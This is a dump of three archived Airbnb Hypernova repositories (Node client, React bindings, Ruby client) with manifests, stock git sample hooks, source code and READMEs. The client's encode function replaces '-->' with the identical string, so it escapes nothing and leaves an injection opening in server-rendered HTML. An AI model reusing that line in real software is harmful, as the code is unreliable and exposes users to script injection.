| {"package.json": "{\n \"name\": \"hypernova-client\",\n \"version\": \"1.1.1\",\n \"description\": \"A node client for Hypernova\",\n \"main\": \"lib/index.js\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/airbnb/hypernova-node\"\n },\n \"scripts\": {\n \"prepublish\": \"npm run build\",\n \"clean\": \"rimraf lib coverage\",\n \"prebuild\": \"npm run clean\",\n \"build\": \"babel src -d lib\",\n \"lint\": \"eslint src\",\n \"pretest\": \"npm run --silent lint\",\n \"test\": \"npm run coverage\",\n \"pretests-only\": \"npm run build\",\n \"tests-only\": \"npm run test:quick\",\n \"precoverage\": \"npm run build\",\n \"coverage\": \"babel-node $(which istanbul) cover --report html $(which _mocha) -- -R tap --recursive test/*-test.js\",\n \"postcoverage\": \"istanbul check && echo code coverage thresholds met, achievement unlocked!\",\n \"test:quick\": \"babel-node $(which _mocha) -R tap test/*-test.js\",\n \"test:watch\": \"mocha --compilers js:babel/register --recursive test/*-test.js --watch\"\n },\n \"author\": \"Josh Perez <[email protected]>\",\n \"license\": \"MIT\",\n \"dependencies\": {\n \"axios\": \"^0.15.3\",\n \"object.values\": \"^1.0.4\",\n \"uuid\": \"^3.0.1\"\n },\n \"devDependencies\": {\n \"babel-cli\": \"^6.26.0\",\n \"babel-preset-airbnb\": \"^2.6.0\",\n \"body-parser\": \"^1.18.3\",\n \"chai\": \"^4.2.0\",\n \"eslint\": \"^5.9.0\",\n \"eslint-config-airbnb\": \"^17.1.0\",\n \"eslint-plugin-import\": \"^2.14.0\",\n \"eslint-plugin-jsx-a11y\": \"^6.1.2\",\n \"eslint-plugin-react\": \"^7.11.1\",\n \"express\": \"^4.16.4\",\n \"istanbul\": \"^0.4.5\",\n \"mocha\": \"^3.5.3\",\n \"rimraf\": \"^2.6.2\",\n \"sinon\": \"^6.3.5\"\n },\n \"engines\": {\n \"node\": \">= 0.10\"\n },\n \"greenkeeper\": {\n \"ignore\": [\n \"mocha\"\n ]\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.js": "const axios = require('axios');\nconst values = require('object.values');\nconst uuidV4 = require('uuid/v4');\n\nfunction reduce(obj, init, f) {\n return Object.keys(obj).reduce((a, b) => f(a, b), init);\n}\n\nfunction encode(obj) {\n return JSON.stringify(obj).replace(/-->/g, '-->');\n}\n\nfunction renderHTML(viewName, data) {\n const uuid = uuidV4();\n\n return `\n <div data-hypernova-key=\"${viewName}\" data-hypernova-id=\"${uuid}\"></div>\n <script type=\"application/json\" data-hypernova-key=\"${viewName}\" data-hypernova-id=\"${uuid}\"><!--${encode(data)}--></script>\n `;\n}\n\nfunction fallback(error, jobs) {\n return {\n error,\n results: reduce(jobs, {}, (obj, key) => {\n // eslint-disable-next-line no-param-reassign\n obj[key] = {\n error: null,\n html: renderHTML(key, jobs[key].data),\n job: jobs[key],\n };\n return obj;\n }),\n };\n}\n\nfunction toHTML(views) {\n return reduce(views, '', (res, name) => res + views[name].html, '');\n}\n\nclass Renderer {\n constructor(options) {\n this.url = options.url;\n this.plugins = options.plugins || [];\n this.config = Object.assign({\n timeout: 1000,\n headers: {\n 'Content-Type': 'application/json',\n },\n }, options.config);\n }\n\n addPlugin(plugin) {\n this.plugins.push(plugin);\n }\n\n pluginReduce(eventName, f, initial) {\n return this.plugins.reduce((res, plugin) => {\n if (plugin[eventName]) {\n return f(plugin[eventName], res);\n }\n return res;\n }, initial);\n }\n\n createJobs(jobs) {\n // The initial jobs hash which contains the shape of\n // { [view]: { name: String, data: ReactProps } }\n // it's outside of the main try/catch because if there are any failures\n // we want to reuse the jobs hash to go into failure mode.\n return reduce(jobs, {}, (obj, name) => {\n let data = jobs[name];\n\n try {\n data = this.pluginReduce(\n 'getViewData',\n (plugin, newData) => plugin(name, newData),\n jobs[name],\n );\n } catch (err) {\n // let the plugins know about the error but we intentionally\n // don't fallback to failure mode (client rendering) because we can\n // probably salvage the render using the passed in data.\n this.pluginReduce('onError', plugin => plugin(err));\n }\n\n // the job shape\n // eslint-disable-next-line no-param-reassign\n obj[name] = { name, data };\n return obj;\n }, {});\n }\n\n prepareRequest(jobs) {\n return Promise.resolve().then(() => {\n // prepare the request by calling the plugins allowing each plugin to transform\n // the jobs hash\n const jobsHash = this.pluginReduce(\n 'prepareRequest',\n (plugin, next) => plugin(next, jobs),\n jobs,\n );\n\n // should we actually fire off a request?\n const shouldSendRequest = this.pluginReduce('shouldSendRequest', (plugin, next) => (\n next && plugin(jobsHash)\n ), true);\n\n return {\n shouldSendRequest,\n jobsHash,\n };\n });\n }\n\n render(data) {\n const jobs = this.createJobs(data);\n\n return this.prepareRequest(jobs)\n // Query our server and retrieve the jobs data\n .then((item) => {\n if (!item.shouldSendRequest) {\n return fallback(null, item.jobsHash);\n }\n\n // let everyone know we'll be firing a request\n this.pluginReduce('willSendRequest', plugin => plugin(item.jobsHash));\n\n // fire the request and then convert the response into a shape of\n // { [string]: { error: Error?, html: string, job: Job } }\n // eslint-disable-next-line arrow-body-style\n return axios.post(this.url, item.jobsHash, this.config).then((res) => {\n const { results } = res.data;\n\n Object.keys(results).forEach((key) => {\n const body = results[key];\n\n body.job = item.jobsHash[key];\n body.html = body.error ? renderHTML(key, data[key]) : body.html;\n });\n\n return res.data;\n });\n })\n // if there is an error retrieving the result set or converting it then lets just fallback\n // to client rendering for all the jobs.\n .catch(err => fallback(err, jobs))\n // Run our afterResponse plugins and send back our response.\n .then((res) => {\n const { results } = res;\n\n try {\n if (res.error) this.pluginReduce('onError', plugin => plugin(res.error, results));\n\n values(results).forEach((job) => {\n if (job.error) {\n this.pluginReduce('onError', plugin => plugin(job.error, job));\n }\n });\n\n const successfulJobs = reduce(res.results, {}, (success, key) => Object.assign(success, {\n [key]: res.results[key].job,\n }));\n\n this.pluginReduce('onSuccess', plugin => plugin(successfulJobs));\n\n // if there are any plugins, run them\n // otherwise toHTML the response and send that\n return this.plugins.length\n ? this.pluginReduce('afterResponse', (plugin, next) => plugin(next, results), results)\n : toHTML(results);\n } catch (err) {\n this.pluginReduce('onError', plugin => plugin(err, results));\n return toHTML(results);\n }\n });\n }\n}\n\nmodule.exports = Renderer;\n"} | null |
hypernova-react | {"type": "directory", "name": "hypernova-react", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "ExampleReactComponent.js"}, {"type": "file", "name": "HypernovaExampleReact.js"}]}, {"type": "file", "name": "init.js"}, {"type": "file", "name": "renderReact-test.js"}, {"type": "file", "name": "renderReactStatic-test.js"}]}]} | | :exclamation: Deprecation Notice |
|:-|
|We want to express our sincere gratitude for your support and contributions to the Hypernova open source project. As we are no longer using this technology internally, we have come to the decision to archive the Hypernova repositories. While we won't be providing further updates or support, the existing code and resources will remain accessible for your reference. We encourage anyone interested to fork the repository and continue the project's legacy independently. Thank you for being a part of this journey and for your patience and understanding.|
---
# hypernova-react
[React](https://github.com/facebook/react) bindings for [Hypernova](https://github.com/airbnb/hypernova).
On the server, wraps the component in a function to render it to a HTML string given its props.
On the client, calling this function with your component scans the DOM for any server-side rendered instances of it. It then resumes those components using the server-specified props.
## Install
```sh
npm install hypernova-react
```
## Usage
Here's how to use it in your module:
```js
import { renderReact } from 'hypernova-react';
import MyComponent from './src/MyComponent.jsx';
export default renderReact(
'MyComponent.hypernova.js', // this file's name (or really any unique name)
MyComponent,
);
```
| {"package.json": "{\n \"name\": \"hypernova-react\",\n \"version\": \"2.1.0\",\n \"description\": \"React bindings for Hypernova\",\n \"main\": \"lib/index.js\",\n \"scripts\": {\n \"prepublish\": \"npm run build\",\n \"clean\": \"rimraf lib coverage\",\n \"prebuild\": \"npm run clean\",\n \"build\": \"babel src -d lib\",\n \"lint\": \"eslint src test\",\n \"pretest\": \"npm run lint\",\n \"test\": \"npm run coverage\",\n \"react\": \"enzyme-adapter-react-install 16\",\n \"pretests-only\": \"npm run react\",\n \"tests-only\": \"npm run test:quick\",\n \"precoverage\": \"npm run react && npm run build\",\n \"coverage\": \"babel-node node_modules/.bin/istanbul cover --report=html node_modules/.bin/_mocha -- -R tap test/*-test.js\",\n \"pretest:quick\": \"npm run build\",\n \"test:quick\": \"babel-node node_modules/.bin/_mocha -R tap test/*-test.js\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/hypernova-react.git\"\n },\n \"keywords\": [\n \"react\",\n \"hypernova\",\n \"server\",\n \"render\",\n \"isomorphic\",\n \"universal\"\n ],\n \"files\": [\n \"README.md\",\n \"lib\",\n \"src\",\n \"test\",\n \".eslintrc\",\n \".babelrc\"\n ],\n \"author\": \"Josh Perez <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/hypernova-react/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/hypernova-react#readme\",\n \"peerDependencies\": {\n \"hypernova\": \"^2.0.0\",\n \"react\": \"^0.14 || ^15 || ^16\",\n \"react-dom\": \"^0.14 || ^15 || ^16\"\n },\n \"devDependencies\": {\n \"babel-cli\": \"^6.26.0\",\n \"babel-preset-airbnb\": \"^2.5.3\",\n \"chai\": \"^4.1.2\",\n \"enzyme\": \"^3.4.1\",\n \"enzyme-adapter-react-helper\": \"^1.3.0\",\n \"eslint\": \"^5.3.0\",\n \"eslint-config-airbnb\": \"^17.1.0\",\n \"eslint-plugin-import\": \"^2.14.0\",\n \"eslint-plugin-jsx-a11y\": \"^6.1.1\",\n \"eslint-plugin-react\": \"^7.11.1\",\n \"hypernova\": \"^2.3.0\",\n \"istanbul\": \"^0.4.5\",\n \"jsdom\": \"^9.12.0\",\n \"mocha\": \"^4.1.0\",\n \"prop-types\": \"^15.6.2\",\n \"react\": \"^0.14 || ^15 || ^16\",\n \"react-dom\": \"^0.14 || ^15 || ^16\",\n \"rimraf\": \"^2.6.2\",\n \"sinon\": \"^6.1.5\",\n \"sinon-sandbox\": \"^2.0.0\"\n },\n \"engines\": {\n \"node\": \">= 4.0\"\n },\n \"greenkeeper\": {\n \"ignore\": [\n \"jsdom\",\n \"mocha\"\n ]\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.js": "import React from 'react';\nimport ReactDOM from 'react-dom';\nimport ReactDOMServer from 'react-dom/server';\nimport hypernova, { serialize, load } from 'hypernova';\n\nexport const renderReact = (name, component) => hypernova({\n server() {\n return (props) => {\n const contents = ReactDOMServer.renderToString(React.createElement(component, props));\n return serialize(name, contents, props);\n };\n },\n\n client() {\n const payloads = load(name);\n\n if (payloads) {\n payloads.forEach((payload) => {\n const { node, data } = payload;\n const element = React.createElement(component, data);\n\n if (ReactDOM.hydrate) {\n ReactDOM.hydrate(element, node);\n } else {\n ReactDOM.render(element, node);\n }\n });\n }\n\n return component;\n },\n});\n\nexport const renderReactStatic = (name, component) => hypernova({\n server() {\n return props => ReactDOMServer.renderToStaticMarkup(React.createElement(component, props));\n },\n\n client() {},\n});\n"} | null |
hypernova-ruby | {"type": "directory", "name": "hypernova-ruby", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "directory", "name": "bin", "children": [{"type": "file", "name": "console"}, {"type": "file", "name": "setup"}]}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "Gemfile"}, {"type": "file", "name": "hypernova.gemspec"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "hypernova", "children": [{"type": "file", "name": "batch.rb"}, {"type": "file", "name": "batch_renderer.rb"}, {"type": "file", "name": "batch_url_builder.rb"}, {"type": "file", "name": "blank_renderer.rb"}, {"type": "file", "name": "configuration.rb"}, {"type": "file", "name": "controller_helpers.rb"}, {"type": "file", "name": "faraday_connection.rb"}, {"type": "file", "name": "faraday_request.rb"}, {"type": "file", "name": "http_client_request.rb"}, {"type": "file", "name": "parsed_response.rb"}, {"type": "directory", "name": "plugins", "children": [{"type": "file", "name": "development_mode_plugin.rb"}]}, {"type": "file", "name": "plugin_helper.rb"}, {"type": "directory", "name": "rails", "children": [{"type": "file", "name": "action_controller.rb"}]}, {"type": "file", "name": "request.rb"}, {"type": "file", "name": "request_service.rb"}, {"type": "file", "name": "response.rb"}, {"type": "file", "name": "version.rb"}]}, {"type": "file", "name": "hypernova.rb"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "spec", "children": [{"type": "file", "name": "batch_renderer_spec.rb"}, {"type": "file", "name": "batch_spec.rb"}, {"type": "file", "name": "batch_url_builder_spec.rb"}, {"type": "file", "name": "blank_renderer_spec.rb"}, {"type": "file", "name": "configuration_spec.rb"}, {"type": "file", "name": "controller_helpers_spec.rb"}, {"type": "file", "name": "faraday_connection_spec.rb"}, {"type": "file", "name": "faraday_request_spec.rb"}, {"type": "file", "name": "http_client_request_spec.rb"}, {"type": "file", "name": "mystique_ruby_spec.rb"}, {"type": "file", "name": "parsed_response_spec.rb"}, {"type": "directory", "name": "plugins", "children": [{"type": "file", "name": "development_mode_plugin_spec.rb"}]}, {"type": "file", "name": "plugin_helper_spec.rb"}, {"type": "file", "name": "request_service_spec.rb"}, {"type": "file", "name": "request_spec.rb"}, {"type": "file", "name": "response_spec.rb"}, {"type": "file", "name": "spec_helper.rb"}]}]} | | :exclamation: Deprecation Notice |
|:-|
|We want to express our sincere gratitude for your support and contributions to the Hypernova open source project. As we are no longer using this technology internally, we have come to the decision to archive the Hypernova repositories. While we won't be providing further updates or support, the existing code and resources will remain accessible for your reference. We encourage anyone interested to fork the repository and continue the project's legacy independently. Thank you for being a part of this journey and for your patience and understanding.|
---
# hypernova-ruby [![Build Status](https://travis-ci.org/airbnb/hypernova-ruby.svg)](https://travis-ci.org/airbnb/hypernova-ruby)
> A Ruby client for the Hypernova service
## Getting Started
Add this line to your application’s Gemfile:
```ruby
gem 'hypernova'
```
And then execute:
$ bundle
Or install it yourself as:
$ gem install hypernova
In Rails, create an initializer in `config/initializers/hypernova.rb`.
```ruby
# Really basic configuration only consists of the host and the port
Hypernova.configure do |config|
config.host = "localhost"
config.port = 80
end
```
Add an `:around_filter` to your controller so you can opt into Hypernova rendering of view partials.
```ruby
# In my_controller.rb
require 'hypernova'
class MyController < ApplicationController
around_filter :hypernova_render_support
end
```
Use the following methods to render React components in your view/templates.
```erb
<%=
render_react_component(
'MyComponent.js',
:name => 'Person',
:color => 'Blue',
:shape => 'Triangle'
)
%>
```
## Configuration
You can pass more configuration options to Hypernova.
```ruby
Hypernova.configure do |config|
config.http_adapter = :patron # Use any adapter supported by Faraday
config.host = "localhost"
config.port = 80
config.open_timeout = 0.1
config.scheme = :https # Valid schemes include :http and :https
config.timeout = 0.6
end
```
If you do not want to use `Faraday`, you can configure Hypernova Ruby to use an HTTP client that
responds to `post` and accepts a hash argument.
```ruby
Hypernova.configure do |config|
# Use your own HTTP client!
config.http_client = SampleHTTPClient.new
end
```
You can access a lower-level interface to exactly specify the parameters that are sent to the
Hypernova service.
```erb
<% things.each |thing| %>
<li>
<%=
hypernova_batch_render(
:name => 'your/component/thing.bundle.js',
:data => thing
)
%>
</li>
<% end %>
```
You can also use the batch interface if you want to create and submit batches yourself:
```ruby
batch = Hypernova::Batch.new(service)
# each job in a hypernova render batch is identified by a token
# this allows retrieval of unordered jobs
token = batch.render(
:name => 'some_bundle.bundle.js',
:data => {foo: 1, bar: 2}
)
token2 = batch.render(
:name => 'some_bundle.bundle.js',
:data => {foo: 2, bar: 1}
)
# now we can submit the batch job and await its results
# this blocks, and takes a significant time in round trips, so try to only
# use it once per request!
result = batch.submit!
# ok now we can access our rendered strings.
foo1 = result[token].html_safe
foo2 = result[token2].html_safe
```
## Plugins
Hypernova enables you to control and alter requests at different stages of
the render lifecycle via a plugin system.
### Example
All methods on a plugin are optional, and they are listed in the order that
they are called.
**initializers/hypernova.rb:**
```ruby
# initializers/hypernova.rb
require 'hypernova'
class HypernovaPlugin
# get_view_data allows you to alter the data given to any individual
# component being rendered.
# component is the name of the component being rendered.
# data is the data being given to the component.
def get_view_data(component_name, data)
phrase_hash = data[:phrases]
data[:phrases].keys.each do |phrase_key|
phrase_hash[phrase_key] = "test phrase"
end
data
end
# prepare_request allows you to alter the request object in any way that you
# need.
# Unless manipulated by another plugin, request takes the shape:
# { 'component_name.js': { :name => 'component_name.js', :data => {} } }
def prepare_request(current_request, original_request)
current_request.keys.each do |key|
phrase_hash = req[key][:data][:phrases]
if phrase_hash.present?
phrase_hash.keys.each do |phrase_key|
phrase_hash[phrase_key] = phrase_hash[phrase_key].upcase
end
end
end
current_request
end
# send_request? allows you to determine whether a request should continue
# on to the hypernova server. Returning false prevents the request from
# occurring, and results in the fallback html.
def send_request?(request)
true
end
# after_response gives you a chance to alter the response from hypernova.
# This will be most useful for altering the resulting html field, and special
# handling of any potential errors.
# res is a Hash like { 'component_name.js': { html: String, err: Error? } }
def after_response(current_response, original_response)
current_response.keys.each do |key|
hash = current_response[key]
hash['html'] = '<div>hello</div>'
end
current_response
end
# NOTE: If an error happens in here, it won’t be caught.
def on_error(error, jobs)
puts "Oh no, error - #{error}, jobs - #{jobs}"
end
end
Hypernova.add_plugin!(HypernovaPlugin.new)
```
## Development
After checking out the repo, run `bin/setup` to install dependencies. Then, run
`bin/console` for an interactive prompt that will allow you to experiment.
To install this gem onto your local machine, run `bundle exec rake install`. To
release a new version, update the version number in `version.rb`, and then run
`bundle exec rake release` to create a git tag for the version, push git
commits and tags, and push the `.gem` file to
[rubygems.org](https://rubygems.org).
## Contributing
1. Fork it ( https://github.com/airbnb/hypernova-ruby/fork )
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create a new Pull Request
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |